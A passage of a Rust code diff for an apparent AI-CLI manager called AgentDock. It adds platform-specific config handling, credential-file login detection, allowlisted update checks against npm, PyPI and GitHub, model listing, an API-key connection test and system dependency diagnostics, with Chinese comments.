expand_env_vars("${AGENTDOCK_TEST_VAR}/x"),
|
||||||
|
"C:\\Users\\Test/x"
|
||||||
|
);
|
||||||
|
// 未定义变量保持原样
|
||||||
|
assert_eq!(expand_env_vars("%AGENTDOCK_NOT_SET_VAR%\\x"), "%AGENTDOCK_NOT_SET_VAR%\\x");
|
||||||
|
std::env::remove_var("AGENTDOCK_TEST_VAR");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,11 +15,12 @@ use agentdock_secrets::{SecretStore, redact, service_name};
|
|||||||
use serde_json::json;
|
use serde_json::json;
|
||||||
|
|
||||||
use crate::error::EngineError;
|
use crate::error::EngineError;
|
||||||
use crate::errors_zh::map_exec_error;
|
use crate::errors_zh::{map_exec_error, runtime_label_zh};
|
||||||
use crate::process::{
|
use crate::process::{
|
||||||
resolve_exe, run_capture, run_streaming, run_streaming_cancellable, run_terminal, run_with_stdin,
|
resolve_exe, run_capture, run_streaming, run_streaming_cancellable, run_terminal, run_with_stdin,
|
||||||
which_all, RunningProcess,
|
which_all, RunningProcess,
|
||||||
};
|
};
|
||||||
|
use crate::runtime_install::{fetch_http_text, is_url_host_allowed};
|
||||||
use crate::types::*;
|
use crate::types::*;
|
||||||
|
|
||||||
/// 授权会话 key:`<cli_id>:<mode>`。
|
/// 授权会话 key:`<cli_id>:<mode>`。
|
||||||
@@ -345,6 +346,30 @@ impl Engine {
|
|||||||
.collect())
|
.collect())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,标注影响哪些 CLI。
|
||||||
|
pub fn diagnose_system(&self, env: &agentdock_platform::model::PlatformEnv) -> Result<SystemEnvReport, EngineError> {
|
||||||
|
let adapters = self.adapters()?;
|
||||||
|
Ok(diagnose_system(env, &adapters))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本 semver 对比。
|
||||||
|
pub fn check_update(&self, id: &str) -> Result<UpdateCheckResult, EngineError> {
|
||||||
|
let adapter = self.adapter(id)?;
|
||||||
|
Ok(check_update(&adapter))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模型列表(Wave 3.1 Req 5):优先 CLI 自带列举命令,否则适配器维护清单。
|
||||||
|
pub fn list_models(&self, id: &str) -> Result<ModelListResult, EngineError> {
|
||||||
|
let adapter = self.adapter(id)?;
|
||||||
|
Ok(list_models(&adapter))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 测试连通(Wave 3.1 Req 5):密钥从密钥库读取,直连官方接口测一次。
|
||||||
|
pub fn test_connection(&self, id: &str) -> Result<ConnectionTestResult, EngineError> {
|
||||||
|
let adapter = self.adapter(id)?;
|
||||||
|
Ok(test_connection(&adapter, self.secrets.as_ref()))
|
||||||
|
}
|
||||||
|
|
||||||
// ---- 执行 ----
|
// ---- 执行 ----
|
||||||
|
|
||||||
pub fn run<F>(&self, id: &str, action: AdapterAction, opts: &ActionOpts, mut emit: F) -> Result<(), EngineError>
|
pub fn run<F>(&self, id: &str, action: AdapterAction, opts: &ActionOpts, mut emit: F) -> Result<(), EngineError>
|
||||||
@@ -476,6 +501,19 @@ fn generic_extract_version(output: &str) -> Option<String> {
|
|||||||
// 配置读写
|
// 配置读写
|
||||||
// =====================================================================
|
// =====================================================================
|
||||||
|
|
||||||
|
/// 判断配置文件是否适用于当前平台(未声明 platforms 视为全平台适用)。
|
||||||
|
/// 用于同一 CLI 在不同平台路径不同的场景(如 Goose:Windows %APPDATA%… / Linux ~/.config/…)。
|
||||||
|
fn file_applies_to_current_platform(f: &agentdock_adapter::schema::ConfigFile) -> bool {
|
||||||
|
if f.platforms.is_empty() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#[cfg(windows)]
|
||||||
|
let cur = "windows";
|
||||||
|
#[cfg(not(windows))]
|
||||||
|
let cur = "linux";
|
||||||
|
f.platforms.iter().any(|p| p == cur)
|
||||||
|
}
|
||||||
|
|
||||||
/// 读取适配器配置,产出表单状态。
|
/// 读取适配器配置,产出表单状态。
|
||||||
pub fn read_config(adapter: &Adapter, secrets: &dyn SecretStore) -> Result<ConfigFormState, EngineError> {
|
pub fn read_config(adapter: &Adapter, secrets: &dyn SecretStore) -> Result<ConfigFormState, EngineError> {
|
||||||
let cli_id = adapter.id.clone();
|
let cli_id = adapter.id.clone();
|
||||||
@@ -486,8 +524,8 @@ pub fn read_config(adapter: &Adapter, secrets: &dyn SecretStore) -> Result<Confi
|
|||||||
let mut environment = Vec::new();
|
let mut environment = Vec::new();
|
||||||
|
|
||||||
if let Some(cfg) = cfg_opt {
|
if let Some(cfg) = cfg_opt {
|
||||||
// 文件解析状态
|
// 文件解析状态(仅当前平台适用的配置文件)
|
||||||
for f in &cfg.files {
|
for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) {
|
||||||
let path = cfg::resolve_path(&f.path);
|
let path = cfg::resolve_path(&f.path);
|
||||||
let exists = path.exists();
|
let exists = path.exists();
|
||||||
let (parse_ok, error) = if exists {
|
let (parse_ok, error) = if exists {
|
||||||
@@ -578,7 +616,7 @@ fn read_file_field(adapter: &Adapter, field_id: &str) -> Result<Option<String>,
|
|||||||
let Some(cfg) = adapter.configuration.as_ref() else {
|
let Some(cfg) = adapter.configuration.as_ref() else {
|
||||||
return Ok(None);
|
return Ok(None);
|
||||||
};
|
};
|
||||||
for f in &cfg.files {
|
for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) {
|
||||||
let path = cfg::resolve_path(&f.path);
|
let path = cfg::resolve_path(&f.path);
|
||||||
let Ok(text) = std::fs::read_to_string(&path) else {
|
let Ok(text) = std::fs::read_to_string(&path) else {
|
||||||
continue;
|
continue;
|
||||||
@@ -642,7 +680,10 @@ pub fn write_config(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
"file" | "env" => {
|
"file" | "env" => {
|
||||||
if let Some(idx) = cfg.files.iter().position(|f| matches!(f.scope.as_deref(), Some("user") | None)) {
|
if let Some(idx) = cfg.files.iter().position(|f| {
|
||||||
|
file_applies_to_current_platform(f)
|
||||||
|
&& matches!(f.scope.as_deref(), Some("user") | None)
|
||||||
|
}) {
|
||||||
file_patches.entry(idx).or_default().push((field.id.clone(), value.clone()));
|
file_patches.entry(idx).or_default().push((field.id.clone(), value.clone()));
|
||||||
} else {
|
} else {
|
||||||
errors.push(format!("{} 未声明可写的配置文件", field.label_zh));
|
errors.push(format!("{} 未声明可写的配置文件", field.label_zh));
|
||||||
@@ -694,7 +735,7 @@ pub fn verify_config(adapter: &Adapter) -> ConfigVerifyResult {
|
|||||||
|
|
||||||
// 1. 重读配置文件并解析(有配置文件声明时)
|
// 1. 重读配置文件并解析(有配置文件声明时)
|
||||||
if let Some(cfg) = adapter.configuration.as_ref() {
|
if let Some(cfg) = adapter.configuration.as_ref() {
|
||||||
for f in &cfg.files {
|
for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) {
|
||||||
let path = cfg::resolve_path(&f.path);
|
let path = cfg::resolve_path(&f.path);
|
||||||
if !path.exists() {
|
if !path.exists() {
|
||||||
continue;
|
continue;
|
||||||
@@ -824,7 +865,23 @@ pub fn auth_status(adapter: &Adapter, secrets: &dyn SecretStore) -> AuthStatus {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. keyring
|
// 2. credential_files(Wave 3.1 Req 3):无 status_command 的 CLI 用登录态/OAuth 凭据文件判定
|
||||||
|
if let Some(auth) = adapter.authorization.as_ref() {
|
||||||
|
for cred in &auth.credential_files {
|
||||||
|
let p = cfg::resolve_path(cred);
|
||||||
|
if p.exists() {
|
||||||
|
return AuthStatus {
|
||||||
|
cli_id: adapter.id.clone(),
|
||||||
|
status: "authorized".into(),
|
||||||
|
via: "credential_file".into(),
|
||||||
|
detail_zh: format!("检测到登录凭据({})", cred),
|
||||||
|
checked_at,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. keyring
|
||||||
if let Some(cfg) = adapter.configuration.as_ref() {
|
if let Some(cfg) = adapter.configuration.as_ref() {
|
||||||
for field in &cfg.fields {
|
for field in &cfg.fields {
|
||||||
if field.sensitive && secrets.has(&service, &field.id) {
|
if field.sensitive && secrets.has(&service, &field.id) {
|
||||||
@@ -839,7 +896,7 @@ pub fn auth_status(adapter: &Adapter, secrets: &dyn SecretStore) -> AuthStatus {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 3. unknown
|
// 4. unknown
|
||||||
AuthStatus {
|
AuthStatus {
|
||||||
cli_id: adapter.id.clone(),
|
cli_id: adapter.id.clone(),
|
||||||
status: "unknown".into(),
|
status: "unknown".into(),
|
||||||
@@ -980,7 +1037,7 @@ pub fn diagnose(
|
|||||||
|
|
||||||
// 4. 配置损坏类
|
// 4. 配置损坏类
|
||||||
if let Some(cfg) = adapter.configuration.as_ref() {
|
if let Some(cfg) = adapter.configuration.as_ref() {
|
||||||
for f in &cfg.files {
|
for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) {
|
||||||
let path = cfg::resolve_path(&f.path);
|
let path = cfg::resolve_path(&f.path);
|
||||||
if !path.exists() {
|
if !path.exists() {
|
||||||
continue;
|
continue;
|
||||||
@@ -1159,6 +1216,435 @@ where
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// =====================================================================
|
||||||
|
// Wave 3.1:可更新判定 / 模型列表 / 测试连通 / 系统环境诊断
|
||||||
|
// =====================================================================
|
||||||
|
|
||||||
|
/// 版本号 → 数值元组(忽略 v 前缀与非数字段,供版本比较)。
|
||||||
|
fn version_parts(s: &str) -> Vec<u64> {
|
||||||
|
s.split(|c: char| !c.is_ascii_digit())
|
||||||
|
.filter(|seg| !seg.is_empty())
|
||||||
|
.filter_map(|seg| seg.parse::<u64>().ok())
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 比较两个版本号,返回 Ordering(缺失段按 0 处理)。
|
||||||
|
fn compare_versions(a: &str, b: &str) -> std::cmp::Ordering {
|
||||||
|
let pa = version_parts(a);
|
||||||
|
let pb = version_parts(b);
|
||||||
|
let n = pa.len().max(pb.len());
|
||||||
|
for i in 0..n {
|
||||||
|
let x = pa.get(i).copied().unwrap_or(0);
|
||||||
|
let y = pb.get(i).copied().unwrap_or(0);
|
||||||
|
match x.cmp(&y) {
|
||||||
|
std::cmp::Ordering::Equal => continue,
|
||||||
|
other => return other,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
std::cmp::Ordering::Equal
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 官方源最新版本查询结果。
|
||||||
|
enum LatestVersion {
|
||||||
|
Found(String),
|
||||||
|
Unsupported(String),
|
||||||
|
Failed(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从官方源查询最新版本(npm registry / PyPI / GitHub Releases),均经 allowed_hosts 白名单。
|
||||||
|
fn fetch_latest_version(adapter: &Adapter) -> LatestVersion {
|
||||||
|
let allowed = adapter
|
||||||
|
.official
|
||||||
|
.as_ref()
|
||||||
|
.map(|o| o.allowed_hosts.clone())
|
||||||
|
.unwrap_or_default();
|
||||||
|
let src = match adapter.update.as_ref().and_then(|u| u.source.as_ref()) {
|
||||||
|
Some(s) => s,
|
||||||
|
None => return LatestVersion::Unsupported("适配器未声明 update.source(可更新依据来源)".into()),
|
||||||
|
};
|
||||||
|
let url = match src.kind.as_str() {
|
||||||
|
"npm" => format!("https://registry.npmjs.org/{}", src.package.as_deref().unwrap_or("")),
|
||||||
|
"pypi" => format!("https://pypi.org/pypi/{}/json", src.package.as_deref().unwrap_or("")),
|
||||||
|
"github" => format!("https://api.github.com/repos/{}/releases/latest", src.repo.as_deref().unwrap_or("")),
|
||||||
|
other => return LatestVersion::Unsupported(format!("不支持的更新来源 {other}")),
|
||||||
|
};
|
||||||
|
if !is_url_host_allowed(&url, &allowed) {
|
||||||
|
return LatestVersion::Failed(format!("来源主机不在白名单内:{url}"));
|
||||||
|
}
|
||||||
|
match fetch_http_text(&url, &[]) {
|
||||||
|
Ok(text) => {
|
||||||
|
let v: serde_json::Value = match serde_json::from_str(&text) {
|
||||||
|
Ok(v) => v,
|
||||||
|
Err(_) => return LatestVersion::Failed("官方源返回非 JSON".into()),
|
||||||
|
};
|
||||||
|
let latest = match src.kind.as_str() {
|
||||||
|
"npm" => v.pointer("/dist-tags/latest").and_then(|x| x.as_str()),
|
||||||
|
"pypi" => v.pointer("/info/version").and_then(|x| x.as_str()),
|
||||||
|
"github" => v.pointer("/tag_name").and_then(|x| x.as_str()),
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
|
match latest {
|
||||||
|
Some(l) => LatestVersion::Found(l.trim_start_matches('v').to_string()),
|
||||||
|
None => LatestVersion::Failed("官方源未返回版本号".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) => LatestVersion::Failed(format!("查询官方源失败:{e}")),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本 semver 对比。
|
||||||
|
pub fn check_update(adapter: &Adapter) -> UpdateCheckResult {
|
||||||
|
let cli_id = adapter.id.clone();
|
||||||
|
let detect = detect_one(adapter);
|
||||||
|
let current = if detect.status == "installed" { detect.version.clone() } else { None };
|
||||||
|
|
||||||
|
let (source_zh, source_url) = match adapter.update.as_ref().and_then(|u| u.source.as_ref()) {
|
||||||
|
Some(s) => match s.kind.as_str() {
|
||||||
|
"npm" => (
|
||||||
|
"npm registry".to_string(),
|
||||||
|
format!("https://registry.npmjs.org/{}", s.package.as_deref().unwrap_or("")),
|
||||||
|
),
|
||||||
|
"pypi" => (
|
||||||
|
"PyPI".to_string(),
|
||||||
|
format!("https://pypi.org/pypi/{}", s.package.as_deref().unwrap_or("")),
|
||||||
|
),
|
||||||
|
"github" => (
|
||||||
|
"GitHub Releases".to_string(),
|
||||||
|
format!("https://github.com/{}/releases", s.repo.as_deref().unwrap_or("")),
|
||||||
|
),
|
||||||
|
_ => ("官方源".to_string(), String::new()),
|
||||||
|
},
|
||||||
|
None => ("官方源".to_string(), String::new()),
|
||||||
|
};
|
||||||
|
|
||||||
|
match fetch_latest_version(adapter) {
|
||||||
|
LatestVersion::Found(latest) => {
|
||||||
|
let update_available = match ¤t {
|
||||||
|
Some(c) => compare_versions(c, &latest) == std::cmp::Ordering::Less,
|
||||||
|
None => false,
|
||||||
|
};
|
||||||
|
UpdateCheckResult {
|
||||||
|
cli_id,
|
||||||
|
current,
|
||||||
|
latest: Some(latest),
|
||||||
|
update_available,
|
||||||
|
source_zh,
|
||||||
|
source_url,
|
||||||
|
error: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LatestVersion::Unsupported(m) => UpdateCheckResult {
|
||||||
|
cli_id, current, latest: None, update_available: false, source_zh, source_url, error: Some(m),
|
||||||
|
},
|
||||||
|
LatestVersion::Failed(m) => UpdateCheckResult {
|
||||||
|
cli_id, current, latest: None, update_available: false, source_zh, source_url, error: Some(m),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模型列表(Wave 3.1 Req 5):优先 CLI 自带列举命令,否则适配器维护清单。
|
||||||
|
pub fn list_models(adapter: &Adapter) -> ModelListResult {
|
||||||
|
let cli_id = adapter.id.clone();
|
||||||
|
let models = match adapter.models.as_ref() {
|
||||||
|
None => {
|
||||||
|
return ModelListResult {
|
||||||
|
cli_id,
|
||||||
|
models: vec![],
|
||||||
|
source: "empty".into(),
|
||||||
|
detail_zh: "该 CLI 未声明模型清单".into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Some(m) => m,
|
||||||
|
};
|
||||||
|
|
||||||
|
// 优先:CLI 自带列举命令(已安装时实时调取)
|
||||||
|
if !models.command.is_empty() {
|
||||||
|
let prog = &models.command[0];
|
||||||
|
let args: Vec<String> = models.command[1..].to_vec();
|
||||||
|
if agentdock_exec::validate_argv(prog, &args).is_ok() {
|
||||||
|
if let Some(exe) = which_all(prog).first() {
|
||||||
|
let exe = exe.to_string_lossy().to_string();
|
||||||
|
if let Ok((true, text)) = run_capture(std::path::Path::new(&exe), &args) {
|
||||||
|
let parsed = parse_model_lines(&text);
|
||||||
|
if !parsed.is_empty() {
|
||||||
|
return ModelListResult {
|
||||||
|
cli_id,
|
||||||
|
models: parsed,
|
||||||
|
source: "cli_command".into(),
|
||||||
|
detail_zh: format!("已通过 {} 实时列举", models.command.join(" ")),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 回退:适配器按官方文档维护的模型清单
|
||||||
|
let list: Vec<ModelInfo> = models
|
||||||
|
.list
|
||||||
|
.iter()
|
||||||
|
.map(|e| ModelInfo { id: e.id.clone(), label_zh: e.label_zh.clone() })
|
||||||
|
.collect();
|
||||||
|
let source = if list.is_empty() { "empty" } else { "adapter" };
|
||||||
|
ModelListResult {
|
||||||
|
cli_id,
|
||||||
|
models: list,
|
||||||
|
source: source.to_string(),
|
||||||
|
detail_zh: "按官方文档维护的模型清单".into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从模型列举命令输出解析模型 ID(逐行清理,剔除明显表头)。
|
||||||
|
fn parse_model_lines(text: &str) -> Vec<ModelInfo> {
|
||||||
|
text.lines()
|
||||||
|
.map(|l| {
|
||||||
|
l.trim()
|
||||||
|
.trim_start_matches('-')
|
||||||
|
.trim_start_matches('*')
|
||||||
|
.trim()
|
||||||
|
.to_string()
|
||||||
|
})
|
||||||
|
.filter(|l| !l.is_empty() && l.len() <= 200)
|
||||||
|
.filter(|l| !l.contains("模型") && !l.to_lowercase().starts_with("available") && !l.to_lowercase().starts_with("model"))
|
||||||
|
.take(200)
|
||||||
|
.map(|l| ModelInfo { id: l, label_zh: None })
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// curl 探测(不 --fail,返回 HTTP 状态码 + 响应体,用于测试连通时区分 401/403/网络失败)。
|
||||||
|
fn curl_probe(url: &str, headers: &[String]) -> (Option<u16>, String) {
|
||||||
|
let mut cmd = std::process::Command::new("curl.exe");
|
||||||
|
cmd.args(["-L", "--silent", "--show-error", "--max-time", "20", "-w", "\n__HTTP_STATUS__%{http_code}"]);
|
||||||
|
for h in headers {
|
||||||
|
cmd.arg("-H").arg(h);
|
||||||
|
}
|
||||||
|
cmd.arg(url);
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
use std::os::windows::process::CommandExt;
|
||||||
|
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||||
|
}
|
||||||
|
match cmd.output() {
|
||||||
|
Ok(out) => {
|
||||||
|
let text = String::from_utf8_lossy(&out.stdout).to_string();
|
||||||
|
let status = text
|
||||||
|
.rsplit("__HTTP_STATUS__")
|
||||||
|
.next()
|
||||||
|
.and_then(|s| s.trim().parse::<u16>().ok());
|
||||||
|
let body = text.split("__HTTP_STATUS__").next().unwrap_or("").trim().to_string();
|
||||||
|
(status, body)
|
||||||
|
}
|
||||||
|
Err(_) => (None, String::new()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 测试连通(Wave 3.1 Req 5):密钥从密钥库读取直连官方接口测一次,全程不落盘不进日志。
|
||||||
|
pub fn test_connection(adapter: &Adapter, secrets: &dyn SecretStore) -> ConnectionTestResult {
|
||||||
|
let cli_id = adapter.id.clone();
|
||||||
|
let test = match adapter.authorization.as_ref().and_then(|a| a.test.as_ref()) {
|
||||||
|
Some(t) => t,
|
||||||
|
None => {
|
||||||
|
return ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: "该 CLI 未声明测试连通端点".into(),
|
||||||
|
http_status: None,
|
||||||
|
detail: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let allowed = adapter
|
||||||
|
.official
|
||||||
|
.as_ref()
|
||||||
|
.map(|o| o.allowed_hosts.clone())
|
||||||
|
.unwrap_or_default();
|
||||||
|
if !is_url_host_allowed(&test.url, &allowed) {
|
||||||
|
return ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: "测试端点不在白名单内".into(),
|
||||||
|
http_status: None,
|
||||||
|
detail: None,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
let service = service_name(&adapter.id);
|
||||||
|
let key = match secrets.get(&service, "api_key") {
|
||||||
|
Ok(k) if !k.is_empty() => k,
|
||||||
|
_ => {
|
||||||
|
return ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: "未找到已保存的 API Key,请先在「授权 / 登录」里保存".into(),
|
||||||
|
http_status: None,
|
||||||
|
detail: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let header_name = test
|
||||||
|
.key_header
|
||||||
|
.clone()
|
||||||
|
.unwrap_or_else(|| "Authorization".to_string());
|
||||||
|
let header_value = if header_name.eq_ignore_ascii_case("authorization") || test.bearer {
|
||||||
|
format!("Bearer {key}")
|
||||||
|
} else {
|
||||||
|
key.clone()
|
||||||
|
};
|
||||||
|
let header = format!("{header_name}: {header_value}");
|
||||||
|
let mut headers = vec![header];
|
||||||
|
headers.extend(test.extra_headers.clone());
|
||||||
|
|
||||||
|
let (status, body) = curl_probe(&test.url, &headers);
|
||||||
|
match status {
|
||||||
|
Some(s) if (200..300).contains(&s) => ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: true,
|
||||||
|
message_zh: "连通正常,官方接口响应成功".into(),
|
||||||
|
http_status: Some(s),
|
||||||
|
detail: Some(redact(&body).chars().take(200).collect()),
|
||||||
|
},
|
||||||
|
Some(401) | Some(403) => ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: "密钥无效或权限不足(官方接口返回 401/403)".into(),
|
||||||
|
http_status: status,
|
||||||
|
detail: Some(redact(&body).chars().take(200).collect()),
|
||||||
|
},
|
||||||
|
Some(s) => ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: format!("官方接口返回 HTTP {s}").into(),
|
||||||
|
http_status: Some(s),
|
||||||
|
detail: Some(redact(&body).chars().take(200).collect()),
|
||||||
|
},
|
||||||
|
None => ConnectionTestResult {
|
||||||
|
cli_id,
|
||||||
|
ok: false,
|
||||||
|
message_zh: "网络请求失败,无法连通官方接口".into(),
|
||||||
|
http_status: None,
|
||||||
|
detail: None,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 程序名 → 运行时 id(安装命令用到 npm 视为依赖 Node.js,等等)。
|
||||||
|
fn prog_to_runtime(prog: &str) -> Option<&'static str> {
|
||||||
|
match prog.to_ascii_lowercase().as_str() {
|
||||||
|
"npm" | "npx" | "node" => Some("node"),
|
||||||
|
"uv" | "uvx" => Some("uv"),
|
||||||
|
"python" | "python3" | "pip" => Some("python"),
|
||||||
|
"git" => Some("git"),
|
||||||
|
"winget" => Some("winget"),
|
||||||
|
"apt" | "apt-get" | "sudo" => Some("apt"),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 判断适配器是否依赖某运行时(runtime_deps 声明,或其安装/更新/卸载命令用到对应程序)。
|
||||||
|
fn adapter_depends_on(a: &Adapter, runtime_id: &str) -> bool {
|
||||||
|
if a.runtime_deps.iter().any(|d| d.id == runtime_id) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
let mut progs: Vec<String> = Vec::new();
|
||||||
|
if let Some(i) = a.install.as_ref() {
|
||||||
|
for c in &i.channels {
|
||||||
|
if let Some(p) = c.command.first() {
|
||||||
|
progs.push(p.to_lowercase());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some(u) = a.update.as_ref() {
|
||||||
|
if let Some(p) = u.command.first() {
|
||||||
|
progs.push(p.to_lowercase());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some(u) = a.uninstall.as_ref() {
|
||||||
|
if let Some(p) = u.command.first() {
|
||||||
|
progs.push(p.to_lowercase());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
progs.iter().any(|p| prog_to_runtime(p) == Some(runtime_id))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,每项标注影响哪些 CLI。
|
||||||
|
pub fn diagnose_system(env: &agentdock_platform::model::PlatformEnv, adapters: &[Adapter]) -> SystemEnvReport {
|
||||||
|
let rt = &env.runtimes;
|
||||||
|
let ids: &[&str] = if env.os == "windows" {
|
||||||
|
&["node", "python", "uv", "git", "winget"]
|
||||||
|
} else {
|
||||||
|
&["node", "python", "uv", "git", "apt"]
|
||||||
|
};
|
||||||
|
let mut findings = Vec::new();
|
||||||
|
|
||||||
|
for id in ids {
|
||||||
|
let info: Option<&agentdock_platform::model::RuntimeInfo> = match *id {
|
||||||
|
"node" => rt.node.as_ref(),
|
||||||
|
"npm" => rt.npm.as_ref(),
|
||||||
|
"python" => rt.python.as_ref(),
|
||||||
|
"uv" => rt.uv.as_ref(),
|
||||||
|
"git" => rt.git.as_ref(),
|
||||||
|
"winget" => rt.winget.as_ref(),
|
||||||
|
"apt" => rt.apt.as_ref(),
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
|
|
||||||
|
let affected: Vec<String> = adapters
|
||||||
|
.iter()
|
||||||
|
.filter(|a| adapter_depends_on(a, id))
|
||||||
|
.map(|a| a.id.clone())
|
||||||
|
.collect();
|
||||||
|
if affected.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let (status, version, message_zh) = match info {
|
||||||
|
Some(i) if i.status == "installed" => {
|
||||||
|
let mut below_min = false;
|
||||||
|
let mut range_used = String::new();
|
||||||
|
for a in adapters {
|
||||||
|
for d in &a.runtime_deps {
|
||||||
|
if d.id == *id {
|
||||||
|
if let Some(range) = &d.semver_range {
|
||||||
|
if let Some(v) = i.version.as_deref() {
|
||||||
|
if !diag::version_satisfies(v, range) {
|
||||||
|
below_min = true;
|
||||||
|
range_used = range.clone();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if below_min {
|
||||||
|
(
|
||||||
|
"below_min".to_string(),
|
||||||
|
i.version.clone(),
|
||||||
|
format!(
|
||||||
|
"版本 {} 不满足受影响 CLI 要求的 {}",
|
||||||
|
i.version.as_deref().unwrap_or("?"),
|
||||||
|
range_used
|
||||||
|
),
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
("installed".to_string(), i.version.clone(), "已安装且版本满足要求".to_string())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Some(i) => (i.status.clone(), i.version.clone(), format!("状态:{}", i.status)),
|
||||||
|
None => ("not_installed".to_string(), None, "未检测到该运行时".to_string()),
|
||||||
|
};
|
||||||
|
|
||||||
|
findings.push(SystemEnvFinding {
|
||||||
|
runtime_id: id.to_string(),
|
||||||
|
label_zh: runtime_label_zh(id).to_string(),
|
||||||
|
status,
|
||||||
|
version,
|
||||||
|
affected_cli: affected,
|
||||||
|
message_zh,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
SystemEnvReport { findings }
|
||||||
|
}
|
||||||
|
|
||||||
// =====================================================================
|
// =====================================================================
|
||||||
// 测试
|
// 测试
|
||||||
// =====================================================================
|
// =====================================================================
|
||||||
@@ -1334,6 +1820,47 @@ configuration:
|
|||||||
let _ = std::fs::remove_dir_all(&tmp);
|
let _ = std::fs::remove_dir_all(&tmp);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn write_goose_yaml_config_fields() {
|
||||||
|
// goose 用 yaml 配置 + files[].platforms 按平台选型;验证 yaml 编解码已接进 write_config
|
||||||
|
let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters");
|
||||||
|
let adapters = load_adapters(&dir).expect("真实适配器目录应可加载");
|
||||||
|
let mut adapter = adapters.into_iter().find(|a| a.id == "goose").unwrap();
|
||||||
|
|
||||||
|
let tmp = std::env::temp_dir().join(format!("agentdock-core-goose-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&tmp);
|
||||||
|
std::fs::create_dir_all(&tmp).unwrap();
|
||||||
|
let file = tmp.join("config.yaml");
|
||||||
|
if let Some(c) = adapter.configuration.as_mut() {
|
||||||
|
for f in &mut c.files {
|
||||||
|
if file_applies_to_current_platform(f) {
|
||||||
|
f.path = file.to_string_lossy().to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let secrets = MockSecretStore::new();
|
||||||
|
let mut patch = std::collections::BTreeMap::new();
|
||||||
|
patch.insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string());
|
||||||
|
patch.insert("GOOSE_MODEL".to_string(), "claude-sonnet-4".to_string());
|
||||||
|
patch.insert("api_key".to_string(), "sk-test-xxx".to_string());
|
||||||
|
|
||||||
|
let res = write_config(&adapter, &patch, &secrets).unwrap();
|
||||||
|
assert_eq!(res.written_fields.len(), 3);
|
||||||
|
assert!(res.written_file.is_some(), "应写入当前平台配置文件");
|
||||||
|
let text = std::fs::read_to_string(&file).unwrap();
|
||||||
|
